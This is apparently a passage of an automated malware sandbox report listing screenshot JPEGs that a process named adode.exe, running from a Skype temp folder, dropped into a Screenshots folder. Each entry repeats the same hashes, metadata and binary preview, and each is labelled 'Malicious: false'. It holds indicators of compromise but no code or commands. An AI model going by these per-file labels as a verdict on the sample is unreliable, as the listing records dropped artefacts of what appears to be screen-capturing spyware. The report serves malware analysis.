Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250104_211214.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250104_232632.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250105_020935.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250105_045708.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250105_072548.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250105_094415.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250105_105447.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250107_153440.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250109_205131.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250112_022327.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250112_042725.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250112_062559.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250112_090446.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250112_113608.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250112_145040.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250112_175402.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250112_193441.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
